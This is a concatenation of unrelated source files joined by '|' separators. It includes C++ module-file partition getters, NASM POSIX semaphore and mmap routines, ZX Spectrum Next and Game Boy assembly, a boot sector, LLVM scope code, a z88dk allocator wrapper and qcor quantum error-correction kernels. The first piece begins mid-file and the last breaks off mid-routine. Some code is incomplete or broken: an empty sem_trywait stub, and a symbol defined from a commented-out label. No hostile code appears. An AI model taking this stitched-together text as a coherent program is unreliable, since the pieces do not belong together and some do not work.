DEFINE_DECL_PARTITION_GETTER(FunctionDeclaration, functions)
DEFINE_DECL_PARTITION_GETTER(MethodDeclaration, methods)
DEFINE_DECL_PARTITION_GETTER(Constructor, constructors)
DEFINE_DECL_PARTITION_GETTER(Destructor, destructors)
DEFINE_DECL_PARTITION_GETTER(VariableDeclaration, variables)
DEFINE_DECL_PARTITION_GETTER(FieldDeclaration, fields)
DEFINE_DECL_PARTITION_GETTER(ParameterDeclaration, parameters)
DEFINE_DECL_PARTITION_GETTER(Concept, concepts)
#undef DEFINE_DECL_PARTITION_GETTER
#define DEFINE_TYPE_PARTITION_GETTER(Type, TypeName) \
DEFINE_PARTITION_GETTER(Type, TypeIndex, TypeName)
DEFINE_TYPE_PARTITION_GETTER(FundamentalType, fundamental_types)
DEFINE_TYPE_PARTITION_GETTER(DesignatedType, designated_types)
DEFINE_TYPE_PARTITION_GETTER(TorType, tor_types)
DEFINE_TYPE_PARTITION_GETTER(SyntacticType, syntactic_types)
DEFINE_TYPE_PARTITION_GETTER(ExpansionType, expansion_types)
DEFINE_TYPE_PARTITION_GETTER(PointerType, pointer_types)
DEFINE_TYPE_PARTITION_GETTER(FunctionType, function_types)
DEFINE_TYPE_PARTITION_GETTER(MethodType, method_types)
DEFINE_TYPE_PARTITION_GETTER(BaseType, base_types)
DEFINE_TYPE_PARTITION_GETTER(TupleType, tuple_types)
DEFINE_TYPE_PARTITION_GETTER(LvalueReference, lvalue_references)
DEFINE_TYPE_PARTITION_GETTER(RvalueReference, rvalue_references)
DEFINE_TYPE_PARTITION_GETTER(QualifiedType, qualified_types)
DEFINE_TYPE_PARTITION_GETTER(ForallType, forall_types)
DEFINE_TYPE_PARTITION_GETTER(SyntaxType, syntax_types)
DEFINE_TYPE_PARTITION_GETTER(PlaceholderType, placeholder_types)
#undef DEFINE_TYPE_PARTITION_GETTER
#define DEFINE_ATTR_PARTITION_GETTER(DeclType, DeclName) \
DEFINE_PARTITION_GETTER(DeclType, AttrIndex, DeclName)
DEFINE_ATTR_PARTITION_GETTER(AttrBasic, basic_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrScoped, scoped_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrLabeled, labeled_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrCalled, called_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrExpanded, expanded_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrFactored, factored_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrElaborated, elaborated_attributes)
DEFINE_ATTR_PARTITION_GETTER(AttrTuple, tuple_attributes)
#undef DEFINE_ATTR_PARTITION_GETTER
#define DEFINE_EXPR_PARTITION_GETTER(ExprType, ExprName) \
DEFINE_PARTITION_GETTER(ExprType, ExprIndex, ExprName)
DEFINE_EXPR_PARTITION_GETTER(LiteralExpression, literal_expressions)
DEFINE_EXPR_PARTITION_GETTER(TypeExpression, type_expressions)
DEFINE_EXPR_PARTITION_GETTER(NamedDecl, decl_expressions)
DEFINE_EXPR_PARTITION_GETTER(UnqualifiedId, unqualified_id_expressions)
DEFINE_EXPR_PARTITION_GETTER(TemplateId, template_ids)
DEFINE_EXPR_PARTITION_GETTER(DyadExpression, dyad_expressions)
DEFINE_EXPR_PARTITION_GETTER(SizeofExpression, sizeof_expressions)
DEFINE_EXPR_PARTITION_GETTER(AlignofExpression, alignof_expressions)
DEFINE_EXPR_PARTITION_GETTER(TupleExpression, tuple_expressions)
DEFINE_EXPR_PARTITION_GETTER(PackedTemplateArguments, packed_template_arguments)
DEFINE_PARTITION_GETTER(StringLiteral, StringIndex, string_literal_expressions)
#undef DEFINE_EXPR_PARTITION_GETTER
DEFINE_PARTITION_GETTER(ChartUnilevel, ChartIndex, unilevel_charts)
DEFINE_PARTITION_GETTER(ChartMultilevel, ChartIndex, multilevel_charts)
DEFINE_PARTITION_GETTER(IntegerLiteral, LitIndex, integer_literals)
DEFINE_PARTITION_GETTER(FPLiteral, LitIndex, fp_literals)
#define DEFINE_SYNTAX_PARTITION_GETTER(SyntaxType, SyntaxName) \
DEFINE_PARTITION_GETTER(SyntaxType, SyntaxIndex, SyntaxName)
DEFINE_SYNTAX_PARTITION_GETTER(SimpleTypeSpecifier, simple_type_specifiers)
DEFINE_SYNTAX_PARTITION_GETTER(TypeSpecifierSeq, type_specifier_seq_syntax_trees)
DEFINE_SYNTAX_PARTITION_GETTER(TypeIdSyntax, typeid_syntax_trees)
DEFINE_SYNTAX_PARTITION_GETTER(DeclaratorSyntax, declarator_syntax_trees)
DEFINE_SYNTAX_PARTITION_GETTER(PointerDeclaratorSyntax, pointer_declarator_syntax_trees)
DEFINE_SYNTAX_PARTITION_GETTER(ExpressionSyntax, expression_syntax_trees)
#undef DEFINE_SYNTAX_PARTITION_GETTER
DEFINE_PARTITION_GETTER(OperatorFunctionName, NameIndex, operator_names)
#undef DEFINE_PARTITION_GETTER
Partition<TypeIndex, Index> File::type_heap() const
{
return impl_->get_partition<TypeIndex, Index>("heap.type");
}
Partition<ExprIndex, Index> File::expr_heap() const
{
return impl_->get_partition<ExprIndex, Index>("heap.expr");
}
Partition<AttrIndex, Index> File::attr_heap() const
{
return impl_->get_partition<AttrIndex, Index>("heap.attr");
}
Partition<DeclIndex> File::deduction_guides() const
{
return impl_->get_partition<DeclIndex, uint32_t>("name.guide");
}
template<typename RetType, typename Value>
Value get_value(DeclIndex declaration, std::unordered_map<DeclIndex, Value> const & map)
{
if (auto it = map.find(declaration); it != map.end())
return it->second;
return {};
}
TextOffset File::trait_deprecation_texts(DeclIndex declaration) const
{
return get_value<TextOffset>(declaration, impl_->trait_deprecation_texts());
}
std::span<AttrIndex const> File::trait_declaration_attributes(DeclIndex declaration) const
{
return get_value<std::span<AttrIndex const>>(declaration, impl_->trait_declaration_attributes());
}
template<typename T, typename Index>
Partition<T, Index> File::get_partition_with_cache(std::optional<Partition<T, Index>> & cache) const
{
if (cache.has_value())
return *cache;
auto result = impl_->get_partition<T, Index>();
cache = result;
return result;
}
File const& File::get_imported_module(ModuleReference module) const
{
if (auto owner = module.owner; is_null(owner))
{
// global module
return env_->get_module_by_name(get_string(module.partition));
}
else
{
std::string name = get_string(owner);
if (auto partition = module.partition; !is_null(partition))
name.append(":").append(get_string(partition));
return env_->get_module_by_name(name);
}
}
File::File(std::string const & path, Environment* env)
: env_(env)
, impl_(std::make_unique<Impl>(path))
{
}
File::~File() = default;
File::File (File&&) noexcept = default;
File& File::operator=(File&&) noexcept = default;
ScopeDeclaration const& get_scope(File const& file, DeclIndex decl)
{
return file.scope_declarations()[decl];
}
Partition<Declaration, Index> get_declarations(File const& file, ScopeDescriptor scope)
{
return file.declarations().slice(scope);
}
TypeBasis get_kind(ScopeDeclaration const & scope, File const & file)
{
return file.fundamental_types()[scope.type].basis;
}
}
|
;-------------------------------------------------------------------------------
; posix/1b.nasm - routines described by "POSIX Realtime Extensions" (1003.1b).
;-------------------------------------------------------------------------------
module libc.posix1b
%include "errors.ah"
%include "locstor.ah"
%include "sync.ah"
%include "tm/memman.ah"
%include "tm/memmsg.ah"
exportproc _mmap64
exportproc _sem_init, _sem_destroy, _sem_post, _sem_wait, _sem_trywait
exportproc _sched_get_priority_max, _sched_get_priority_min
externproc _read, _write
externproc _MsgSendnc, _SchedInfo
externproc _SyncTypeCreate, _SyncDestroy
externproc _SyncSemPost, _SyncSemWait
section .text
; void *mmap64(void *addr, size_t len, int prot,
; int flags, int fd, off64_t off);
proc _mmap64
arg addr, len, prot, flags, fd, offl, offh
locauto msg, tMsg_MemMap_size
prologue
push ebx
xor eax,eax
mov word [%$msg+tMemMapRequest.Type],MEM_MAP
mov [%$msg+tMemMapRequest.Zero],ax
mov [%$msg+tMemMapRequest.Reserved1],eax
mov [%$msg+tMemMapRequest.Reserved2],eax
mov [%$msg+tMemMapRequest.Align],eax
mov [%$msg+tMemMapRequest.Align+4],eax
mov ebx,[%$addr]
mov [%$msg+tMemMapRequest.Addr],ebx
mov ebx,[%$len]
mov [%$msg+tMemMapRequest.Len],ebx
mov [%$msg+tMemMapRequest.Len+4],eax
mov ebx,[%$prot]
mov [%$msg+tMemMapRequest.Prot],ebx
mov ebx,[%$flags]
mov [%$msg+tMemMapRequest.Flags],ebx
mov ebx,[%$fd]
mov [%$msg+tMemMapRequest.FD],ebx
mov ebx,[%$offl]
mov [%$msg+tMemMapRequest.Offset],ebx
mov ebx,[%$offh]
mov [%$msg+tMemMapRequest.Offset+4],ebx
lea ebx,[%$msg]
Ccall _MsgSendnc, MEMMGR_COID, ebx, tMemMapRequest_size, \
ebx, tMemMapReply_size
test eax,eax
jns .Exit
mov eax,MAP_FAILED
.Exit pop ebx
epilogue
ret
endp ;---------------------------------------------------------------
; int sem_init(sem_t *sem, int pshared, uint value);
proc _sem_init
arg sem, pshared, value
locauto attr, tSyncAttr_size
prologue
savereg ebx
lea ebx,[%$attr]
Mov32 ebx+tSyncAttr.Protocol,%$value
mov eax,[%$pshared]
or eax,eax
jnz .Shared
mov dword [ebx+tSyncAttr.Flags],SEM_PROCESS_PRIVATE
jmp .1
.Shared: mov dword [ebx+tSyncAttr.Flags],SEM_PROCESS_SHARED
.1: xor eax,eax
mov [ebx+tSyncAttr.PrioCeiling],eax
Ccall _SyncTypeCreate, SYNC_SEM, dword [%$sem], ebx
epilogue
ret
endp ;---------------------------------------------------------------
; int sem_destroy(sem_t *sem);
proc _sem_destroy
arg sem
prologue
; Force an EINVAL if the semaphore is "statically" initialized
mov eax,[%$sem]
cmp dword [eax+tSync.Owner],SYNC_INITIALIZER
je .Invalid
Ccall _SyncDestroy, eax
.Exit: epilogue
ret
.Invalid: mSetErrno EINVAL, eax
xor eax,eax
not eax
jmp .Exit
endp ;---------------------------------------------------------------
; int sem_post(sem_t *sem);
proc _sem_post
arg sem
prologue
mov eax,[%$sem]
cmp dword [eax+tSync.Owner],SYNC_NAMED_SEM
jne .Normal
; Named semaphore
Ccall _write, dword [eax+tSync.Count], 0, 0
jmp .Exit
; Normal (unnamed) semaphore
.Normal: Ccall _SyncSemPost, eax
.Exit: epilogue
ret
endp ;---------------------------------------------------------------
; int sem_wait(sem_t *sem);
proc _sem_wait
arg sem
prologue
mov eax,[%$sem]
cmp dword [eax+tSync.Owner],SYNC_NAMED_SEM
jne .Normal
; Named semaphore
Ccall _read, dword [eax+tSync.Count], 0, 0
jmp .Exit
; Normal (unnamed) semaphore
.Normal: Ccall _SyncSemWait, eax
.Exit: epilogue
ret
endp ;---------------------------------------------------------------
; int sem_trywait(sem_t *sem);
proc _sem_trywait
arg sem
prologue
epilogue
ret
endp ;---------------------------------------------------------------
; int sched_get_priority_min(int alg);
proc _sched_get_priority_min
arg alg
locauto info, tSchedInfo_size
prologue
lea eax,[%$info]
Ccall _SchedInfo, 0, dword [%$alg], eax
test eax,eax
js .Exit
mov eax,[%$info+tSchedInfo.PrioMin]
.Exit: epilogue
ret
endp ;---------------------------------------------------------------
; int sched_get_priority_max(int alg);
proc _sched_get_priority_max
arg alg
locauto info, tSchedInfo_size
prologue
lea eax,[%$info]
Ccall _SchedInfo, 0, dword [%$alg], eax
test eax,eax
js .Exit
mov eax,[%$info+tSchedInfo.PrioMax]
.Exit: epilogue
ret
endp ;---------------------------------------------------------------
|
DEVICE ZXSPECTRUMNEXT
CSPECTMAP sunDrawTst.map
OPT --zxnext=cspect --syntax=a --reversepop
DEBUGSEGSIZE equ 1
DEBUGLOGSUMMARY equ 1
;DEBUGLOGDETAIL equ 1
;----------------------------------------------------------------------------------------------------------------------------------
; Game Defines
ScreenLocal EQU 0
ScreenGalactic EQU ScreenLocal + 1
ScreenMarket EQU ScreenGalactic + 1
ScreenMarketDsp EQU ScreenMarket + 1
ScreenStatus EQU ScreenMarketDsp + 1
ScreenInvent EQU ScreenStatus + 1
ScreenPlanet EQU ScreenInvent + 1
ScreenEquip EQU ScreenPlanet + 1
ScreenLaunch EQU ScreenEquip + 1
ScreenFront EQU ScreenLaunch + 1
ScreenAft EQU ScreenFront+1
ScreenLeft EQU ScreenAft+2
ScreenRight EQU ScreenLeft+3
;----------------------------------------------------------------------------------------------------------------------------------
; Colour Defines
INCLUDE "./Hardware/L2ColourDefines.asm"
INCLUDE "./Hardware/L1ColourDefines.asm"
; Just to make assmebly work
UBnKxlo DW 0
UBnKxsgn DW 0
UBnKzlo DW 0
UBnKzsgn DW 0
;----------------------------------------------------------------------------------------------------------------------------------
N0equN1byN2div256: MACRO param1,param2,param3
ld a,param3 ;
ld e,a ; use e as var Q = value of XX15 [n] lo
ld a,param2 ; A = XX16 element
ld d,a
mul
ld a,d ; we get only the high byte which is like doing a /256 if we think of a as low
ld (param1),a ; Q ; result variable = XX16[n] * XX15[n]/256
ENDM
AequN1xorN2: MACRO param1,param2
ld a,(param1)
xor param2
ENDM
INCLUDE "./Hardware/register_defines.asm"
INCLUDE "./Layer2Graphics/layer2_defines.asm"
INCLUDE "./Hardware/memory_bank_defines.asm"
INCLUDE "./Hardware/screen_equates.asm"
INCLUDE "./Macros/graphicsMacros.asm"
INCLUDE "./Macros/callMacros.asm"
INCLUDE "./Macros/carryFlagMacros.asm"
INCLUDE "./Macros/CopyByteMacros.asm"
INCLUDE "./Macros/ldCopyMacros.asm"
INCLUDE "./Macros/ldIndexedMacros.asm"
INCLUDE "./Macros/jumpMacros.asm"
INCLUDE "./Macros/MathsMacros.asm"
INCLUDE "./Macros/MMUMacros.asm"
INCLUDE "./Macros/NegateMacros.asm"
INCLUDE "./Macros/returnMacros.asm"
INCLUDE "./Macros/ShiftMacros.asm"
INCLUDE "./Macros/signBitMacros.asm"
INCLUDE "./Variables/general_variables_macros.asm"
charactersetaddr equ 15360
STEPDEBUG equ 1
ORG $8000
di
; "STARTUP"
MMUSelectLayer1
call l1_cls
ld a,7
call l1_attr_cls_to_a
ld a,$FF
call l1_set_border
Initialise: MMUSelectLayer2
call l2_initialise
call asm_l2_double_buffer_on
;..................................................................................................................................
SunLoop: MMUSelectLayer2
call l2_cls
MMUSelectSun
ld hl,$0081
ld (SBnKxlo),hl
ld hl,$0001
ld (SBnKylo),hl
ld hl,$0160
ld (SBnKzlo),hl
ld a,$80
ld (SBnKxsgn),a
ZeroA
ld (SBnKysgn),a
ld (SBnKzsgn),a
call SunUpdateAndRender
; ld hl, 300
; ld (SunScrnX),hl
; ld hl, 170
; ld (SunScrnY),hl
MMUSelectLayer2
; call SunCalculateRadius
; call YOnScreen
call l2_flip_buffers
jp SunLoop
;..................................................................................................................................
INCLUDE "./Hardware/memfill_dma.asm"
INCLUDE "./Hardware/memcopy_dma.asm"
INCLUDE "./Hardware/keyboard.asm"
INCLUDE "./Data/EquipmentEquates.asm"
INCLUDE "./Variables/constant_equates.asm"
INCLUDE "./Variables/general_variables.asm"
INCLUDE "./Variables/UniverseSlotRoutines.asm"
INCLUDE "./Variables/EquipmentVariables.asm"
INCLUDE "./Variables/random_number.asm"
INCLUDE "./Variables/galaxy_seed.asm"
INCLUDE "./Tables/text_tables.asm"
INCLUDE "./Tables/dictionary.asm"
INCLUDE "./Tables/name_digrams.asm"
INCLUDE "./Maths/addhldesigned.asm"
INCLUDE "./Maths/asm_add.asm"
INCLUDE "./Maths/Utilities/AddDEToCash.asm"
INCLUDE "./Maths/DIVD3B2.asm"
INCLUDE "./Maths/multiply.asm"
INCLUDE "./Maths/asm_square.asm"
INCLUDE "./Maths/asm_sqrt.asm"
INCLUDE "./Maths/asm_divide.asm"
INCLUDE "./Maths/asm_unitvector.asm"
INCLUDE "./Maths/compare16.asm"
INCLUDE "./Maths/negate16.asm"
INCLUDE "./Maths/normalise96.asm"
INCLUDE "./Maths/binary_to_decimal.asm"
include "./Maths/ADDHLDESignBC.asm"
INCLUDE "./Maths/Utilities/AequAdivQmul96-TIS2.asm"
INCLUDE "./Maths/Utilities/AequAmulQdiv256-FMLTU.asm"
INCLUDE "./Maths/Utilities/PRequSpeedDivZZdiv8-DV42-DV42IYH.asm"
INCLUDE "./Maths/Utilities/AequDmulEdiv256usgn-DEFMUTL.asm"
INCLUDE "./Maths/Utilities/APequQmulA-MULT1.asm"
INCLUDE "./Maths/Utilities/badd_ll38.asm"
INCLUDE "./Maths/Utilities/moveship4-MVS4.asm"
INCLUDE "./Maths/Utilities/RequAmul256divQ-BFRDIV.asm"
INCLUDE "./Maths/Utilities/RequAdivQ-LL61.asm"
INCLUDE "./Maths/Utilities/RSequQmulA-MULT12.asm"
INCLUDE "./Maths/Utilities/LL28AequAmul256DivD.asm"
INCLUDE "./Maths/Utilities/XAequMinusXAPplusRSdiv96-TIS1.asm"
;--------------------------------------------------------------------------------------------------------------------
INCLUDE "./ModelRender/CLIP-LL145.asm"
; Repurposed XX15 when plotting lines
; Repurposed XX15 before calling clip routine
UBnkX1 equ XX15
UBnKx1Lo equ XX15
UBnKx1Hi equ XX15+1
UBnkY1 equ XX15+2
UbnKy1Lo equ XX15+2
UBnkY1Hi equ XX15+3
UBnkX2 equ XX15+4
UBnkX2Lo equ XX15+4
UBnkX2Hi equ XX15+5
; Repurposed XX12 when plotting lines
UBnkY2 equ XX12+0
UbnKy2Lo equ XX12+0
UBnkY2Hi equ XX12+1
UBnkDeltaXLo equ XX12+2
UBnkDeltaXHi equ XX12+3
UBnkDeltaYLo equ XX12+4
UBnkDeltaYHi equ XX12+5
UbnkGradient equ XX12+2
UBnkTemp1 equ XX12+2
UBnkTemp1Lo equ XX12+2
UBnkTemp1Hi equ XX12+3
UBnkTemp2 equ XX12+3
UBnkTemp2Lo equ XX12+3
UBnkTemp2Hi equ XX12+4
;-- XX15 --------------------------------------------------------------------------------------------------------------------------
UBnkXScaled DB 0 ; XX15+0Xscaled
UBnkXScaledSign DB 0 ; XX15+1xsign
UBnkYScaled DB 0 ; XX15+2yscaled
UBnkYScaledSign DB 0 ; XX15+3ysign
UBnkZScaled DB 0 ; XX15+4zscaled
UBnkZScaledSign DB 0 ; XX15+5zsign
XX15 equ UBnkXScaled
XX15VecX equ XX15
XX15VecY equ XX15+1
XX15VecZ equ XX15+2
UbnkXPoint equ XX15
UbnkXPointLo equ XX15+0
UbnkXPointHi equ XX15+1
UbnkXPointSign equ XX15+2
UbnkYPoint equ XX15+3
UbnkYPointLo equ XX15+3
UbnkYPointHi equ XX15+4
UbnkYPointSign equ XX15+5
; Repurposed XX15 pre clip plines
UbnkPreClipX1 equ XX15+0
UbnkPreClipY1 equ XX15+2
UbnkPreClipX2 equ XX15+4
UbnkPreClipY2 equ XX15+6
; Repurposed XX15 post clip lines
UBnkNewX1 equ XX15+0
UBnkNewY1 equ XX15+1
UBnkNewX2 equ XX15+2
UBnkNewY2 equ XX15+3
; Repurposed XX15
regXX15fx equ UBnkXScaled
regXX15fxSgn equ UBnkXScaledSign
regXX15fy equ UBnkYScaled
regXX15fySgn equ UBnkYScaledSign
regXX15fz equ UBnkZScaled
regXX15fzSgn equ UBnkZScaledSign
; Repurposed XX15
varX1 equ UBnkXScaled ; Reused, verify correct position
varY1 equ UBnkXScaledSign ; Reused, verify correct position
varZ1 equ UBnkYScaled ; Reused, verify correct position
; After clipping the coords are two 8 bit pairs
UBnkPoint1Clipped equ UBnkXScaled
UBnkPoint2Clipped equ UBnkYScaled
;-- transmat0 --------------------------------------------------------------------------------------------------------------------------
; Note XX12 comes after as some logic in normal processing uses XX15 and XX12 combines
UBnkXX12xLo DB 0 ; XX12+0
UBnkXX12xSign DB 0 ; XX12+1
UBnkXX12yLo DB 0 ; XX12+2
UBnkXX12ySign DB 0 ; XX12+3
UBnkXX12zLo DB 0 ; XX12+4
UBnkXX12zSign DB 0 ; XX12+5
XX12Save DS 6
XX12Save2 DS 6
XX12 equ UBnkXX12xLo
varXX12 equ UBnkXX12xLo
; Post clipping the results are now 8 bit
UBnkVisibility DB 0 ; replaces general purpose xx4 in rendering
;UBnkProjectedY DB 0
UBnkProjectedX DB 0
UBnkProjected equ UBnkProjectedY ; resultant projected position
XX15Save DS 8
XX15Save2 DS 8
VarBackface DB 0
; Heap (or array) information for lines and normals
; Coords are stored XY,XY,XY,XY
; Normals
; This needs re-oprganising now.
; Runtime Calculation Store
;--------------------------------------------------------------------------------------------------------
; Bank 58 ------------------------------------------------------------------------------------------------------------------------
SLOT LAYER1Addr
PAGE BankLAYER1
ORG LAYER1Addr, BankLAYER1
INCLUDE "./Layer1Graphics/layer1_attr_utils.asm"
INCLUDE "./Layer1Graphics/layer1_cls.asm"
INCLUDE "./Layer1Graphics/layer1_print_at.asm"
SLOT LAYER2Addr
PAGE BankLAYER2
ORG LAYER2Addr
INCLUDE "./Layer2Graphics/layer2_bank_select.asm"
INCLUDE "./Layer2Graphics/layer2_cls.asm"
INCLUDE "./Layer2Graphics/layer2_initialise.asm"
INCLUDE "./Layer2Graphics/l2_flip_buffers.asm"
INCLUDE "./Layer2Graphics/layer2_plot_pixel.asm"
INCLUDE "./Layer2Graphics/layer2_print_character.asm"
INCLUDE "./Layer2Graphics/layer2_draw_box.asm"
INCLUDE "./Layer2Graphics/asm_l2_plot_horizontal.asm"
INCLUDE "./Layer2Graphics/asm_l2_plot_vertical.asm"
INCLUDE "./Layer2Graphics/layer2_plot_diagonal.asm"
INCLUDE "./Layer2Graphics/asm_l2_plot_triangle.asm"
INCLUDE "./Layer2Graphics/asm_l2_fill_triangle.asm"
INCLUDE "./Layer2Graphics/layer2_plot_circle.asm"
INCLUDE "./Layer2Graphics/layer2_plot_circle_fill.asm"
INCLUDE "./Layer2Graphics/l2_draw_any_line.asm"
INCLUDE "./Layer2Graphics/l2_draw_line_v2.asm"
; Bank 83 ------------------------------------------------------------------------------------------------------------------------
SLOT SunBankAddr
PAGE BankSunData
ORG SunBankAddr,BankSunData
INCLUDE "./Universe/Sun/sun_data.asm"
SAVENEX OPEN "sunDrawTst.nex", $8000 , $7F00
SAVENEX CFG 0,0,0,1
SAVENEX AUTO
SAVENEX CLOSE
|
; A055881: a(n) = largest m such that m! divides n.
; 1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,4,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,4,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,4,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,3,1,2,1,2,1,4,1,2,1,2
add $0,1
mov $1,2
lpb $0
dif $0,$1
add $2,1
min $2,1
add $1,$2
lpe
sub $1,1
mov $0,$1
|
; Often loaded into 0x7c00
[org 0x7c00] ; set the offset to bootsector code
mov bx, WELCOME
call print
call print_nl
mov bp, 0x8000 ; set the stack far from us
mov sp, bp
mov bx, 0x9000
mov dh, 2 ; read 2 sectors
call disk_load
; Infinite loop (e9 fd ff)
jmp $
%include "./boot-sector-helpers.asm"
%include "./boot-sector-disk.asm"
; data
WELCOME:
db 'Welcome on KAS-OS', 0
GOODBYE:
db 'Goodbye!', 0
; magic number
times 510-($-$$) db 0
dw 0xaa55
times 256 dw 0xdada ; sector 2 = 512 bytes
times 256 dw 0xface ; sector 3 = 512 bytes |
#include "object.h"
#include <llvm/IR/Type.h>
#include <llvm/IR/Value.h>
#include <llvm/IR/Function.h>
#include <llvm/Support/Casting.h>
_BeginNamespace(eokas)
llvm_expr_t::llvm_expr_t(llvm::Value* value, llvm::Type* type)
{
this->value = value;
if(type != nullptr)
{
this->type = type;
}
else if(llvm::isa<llvm::Function>(value))
{
this->type = llvm::cast<llvm::Function>(value)->getFunctionType();
}
else
{
this->type = value->getType();
}
}
llvm_expr_t::~llvm_expr_t()
{
this->value = nullptr;
this->type = nullptr;
}
llvm_scope_t::llvm_scope_t(llvm_scope_t* parent)
: parent(parent)
, children()
, symbols()
, types()
{ }
llvm_scope_t::~llvm_scope_t()
{
this->parent = nullptr;
_DeleteList(this->children);
this->types.clear();
this->symbols.clear();
}
llvm_scope_t* llvm_scope_t::addChild()
{
auto* child = new llvm_scope_t(this);
this->children.push_back(child);
return child;
}
llvm_expr_t* llvm_scope_t::getSymbol(const String& name, bool lookup)
{
if(lookup)
{
for (auto scope = this; scope != nullptr; scope = scope->parent)
{
auto iter = scope->symbols.find(name);
if(iter != scope->symbols.end())
return iter->second;
}
return nullptr;
}
else
{
auto iter = this->symbols.find(name);
if(iter != this->symbols.end())
return iter->second;
return nullptr;
}
}
llvm_type_t* llvm_scope_t::getType(const String& name, bool lookup)
{
if(lookup)
{
for (auto scope = this; scope != nullptr; scope = scope->parent)
{
auto iter = scope->types.find(name);
if(iter != scope->types.end())
return iter->second;
}
return nullptr;
}
else
{
auto iter = this->types.find(name);
if(iter != this->types.end())
return iter->second;
return nullptr;
}
}
_EndNamespace(eokas)
|
; void *heap_calloc(void *heap, size_t nmemb, size_t size)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _heap_calloc
EXTERN asm_heap_calloc
_heap_calloc:
pop af
pop de
pop hl
pop bc
push bc
push hl
push de
push af
jp asm_heap_calloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _heap_calloc
EXTERN _heap_calloc_unlocked
defc _heap_calloc = _heap_calloc_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
/*******************************************************************************
* Copyright (c) 2018-, UT-Battelle, LLC.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the BSD 3-Clause License
* which accompanies this distribution.
*
* Contributors:
* Alexander J. McCaskey - initial API and implementation
* Thien Nguyen - implementation
*******************************************************************************/
#pragma once
std::vector<std::vector<qcor::Operator>> bit_flip_code_stabilizers() {
static const std::vector<std::vector<qcor::Operator>> STABILIZERS{
{qcor::Z(0), qcor::Z(1)}, {qcor::Z(1), qcor::Z(2)}};
return STABILIZERS;
}
__qpu__ void bit_flip_encoder(qreg q, int dataQubitIdx,
std::vector<int> scratchQubitIdx) {
CX(q[dataQubitIdx], q[scratchQubitIdx[0]]);
CX(q[dataQubitIdx], q[scratchQubitIdx[1]]);
}
__qpu__ void bit_flip_recover(qreg q, std::vector<int> logicalReg,
std::vector<int> syndromes) {
const bool parity01 = (syndromes[0] == 1);
const bool parity12 = (syndromes[1] == 1);
// Correct error based on parity results
if (parity01 && !parity12) {
X(q[logicalReg[0]]);
}
if (parity01 && parity12) {
X(q[logicalReg[1]]);
}
if (!parity01 && parity12) {
X(q[logicalReg[2]]);
}
} |
INCLUDE "defines.asm"
SECTION "Header", ROM0[$100]
; This is your ROM's entry point
; You have 4 bytes of code to do... something
sub $11 ; This helps check if we're on CGB more efficiently
jr EntryPoint
; Make sure to allocate some space for the header, so no important
; code gets put there and later overwritten by RGBFIX.
; RGBFIX is designed to operate over a zero-filled header, so make
; sure to put zeros regardless of the padding value. (This feature
; was introduced in RGBDS 0.4.0, but the -MG etc flags were also
; introduced in that version.)
ds $150 - @, 0
EntryPoint:
ldh [hConsoleType], a
Reset::
di ; Disable interrupts while we set up
; Kill sound
xor a
ldh [rNR52], a
; Wait for VBlank and turn LCD off
.waitVBlank
ldh a, [rLY]
cp SCRN_Y
jr c, .waitVBlank
xor a
ldh [rLCDC], a
; Goal now: set up the minimum required to turn the LCD on again
; A big chunk of it is to make sure the VBlank handler doesn't crash
ld sp, wStackBottom
ld a, BANK(OAMDMA)
; No need to write bank number to HRAM, interrupts aren't active
ld [rROMB0], a
ld hl, OAMDMA
lb bc, OAMDMA.end - OAMDMA, LOW(hOAMDMA)
.copyOAMDMA
ld a, [hli]
ldh [c], a
inc c
dec b
jr nz, .copyOAMDMA
;set palettes
ld a, %11100100 ; pretty standard BG palette
ldh [rBGP], a
ldh [hBGP], a
ld a, %11100000 ; missing the second-lightest color
ldh [rOBP0], a
ldh [hOBP0], a
ld a, %11010000 ; missing the second-darkest color
ldh [rOBP1], a
ldh [hOBP1], a
; You will also need to reset your handlers' variables below
; I recommend reading through, understanding, and customizing this file
; in its entirety anyways. This whole file is the "global" game init,
; so it's strongly tied to your own game.
; I don't recommend clearing large amounts of RAM, nor to init things
; here that can be initialized later.
; Reset variables necessary for the VBlank handler to function correctly
; But only those for now
xor a
ldh [hVBlankFlag], a
ldh [hOAMHigh], a
ldh [hCanSoftReset], a
dec a ; ld a, $FF
ldh [hHeldKeys], a
; Load the correct ROM bank for later
; Important to do it before enabling interrupts
ld a, BANK(Intro)
ldh [hCurROMBank], a
ld [rROMB0], a
; Select wanted interrupts here
; You can also enable them later if you want
ld a, IEF_VBLANK
ldh [rIE], a
xor a
ei ; Only takes effect after the following instruction
ldh [rIF], a ; Clears "accumulated" interrupts
; Init shadow regs
; xor a
ldh [hSCY], a
ldh [hSCX], a
ld a, LCDCF_ON | LCDCF_BGON
ldh [hLCDC], a
; And turn the LCD on!
ldh [rLCDC], a
; Clear OAM, so it doesn't display garbage
; This will get committed to hardware OAM after the end of the first
; frame, but the hardware doesn't display it, so that's fine.
ld hl, wShadowOAM
ld c, NB_SPRITES * 4
xor a
rst MemsetSmall
ld a, h ; ld a, HIGH(wShadowOAM)
ldh [hOAMHigh], a
ldh [hHeldKeys], a
ldh [hPressedKeys], a
; `Intro`'s bank has already been loaded earlier
jp Intro
SECTION "OAM DMA routine", ROMX
; OAM DMA prevents access to most memory, but never HRAM.
; This routine starts an OAM DMA transfer, then waits for it to complete.
; It gets copied to HRAM and is called there from the VBlank handler
OAMDMA:
ldh [rDMA], a
ld a, NB_SPRITES
.wait
dec a
